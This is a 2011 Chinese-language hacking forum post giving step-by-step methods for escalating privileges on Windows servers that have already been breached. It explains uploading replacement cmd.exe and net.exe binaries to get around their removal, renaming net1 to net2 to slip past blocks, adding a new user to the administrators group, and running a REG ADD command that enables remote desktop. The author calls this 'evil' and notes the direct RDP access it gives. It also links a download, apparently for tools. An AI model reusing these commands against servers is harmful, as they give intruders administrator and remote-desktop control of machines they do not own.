电脑技术小组:服务器详细提权方法

社区服务
高级搜索
猴岛论坛电脑百科电脑技术小组:服务器详细提权方法
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
1个回复

电脑技术小组:服务器详细提权方法

楼层直达
破浪。

ZxID:9977359

等级: 大元帅
配偶: 空浅兮

举报 只看楼主 使用道具 楼主   发表于: 2011-05-30 0
电脑技术小组:服务器详细提权方法
— 本帖被 最致命的傷口 从 电脑技术 移动到本区(2011-05-31) —
第一:cmd命令无法打开
步骤:1:搜索cmd
windows\system32\dllcache\cmd.exe
windows\system32\cmd.exe
先删除windows\system32\dllcache目录下的cmd.exe
然后删除windows\system32\cmd.exe
上传自己系统自带的cmd.exe至windows\system32目录下!

如若cmd任然打不开
1:【暴力】重启机器
2:上传提权bat

第二:net net1命令无法使用!
步骤:1:搜索net或者net1
  windows\system32\dllcache\net.exe
  windows\system32\net.exe
先删除windows\system32\dllcache目录下的net.exe
然后删除windows\system32\net.exe
上传自己系统自带的net.exe至windows\system32目录下!

至于net1同上

上面比较傻
net2.exe
方法
把net1.exe改成net2.exe
直接上传到windows\system32\文件夹

提权命令:
net2 user 用户 密码 /add
net2 localgroup administrators 用户 /add
基本上命中率90%

第三:远程桌面3389
问题:连接远程桌面无法进入
考虑问题:
1:对方是否修改远程桌面3389的端口
方法:依次打开
-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
在右边查找PortNumber 看旁边是否为3389
2:如果是3389
运行cmd命令输入命令 netstat -an
看对方是否开打开了远程桌面设置
如若没有
输入以下命令!
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
基本上就能开了!如果不能开那就开不了

对于这样的服务器,利用!比较邪恶,直接远程桌面,咯咯~~~~

3:如果不是3389
  远程桌面
比如:127.0.0.1:修改过的端口
如果进不了!看对方是否开打开了远程桌面设置
输入以下命令!
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
基本上就能开了!如果不能开那就开不了

网盘下载:[url]http://u.115.com/file/f7350b983f[/url]

破浪。

ZxID:9977359

等级: 大元帅
配偶: 空浅兮

举报 只看该作者 沙发   发表于: 2011-05-30 0
本人服务器,都是这么搞的,

« 返回列表
发帖 回复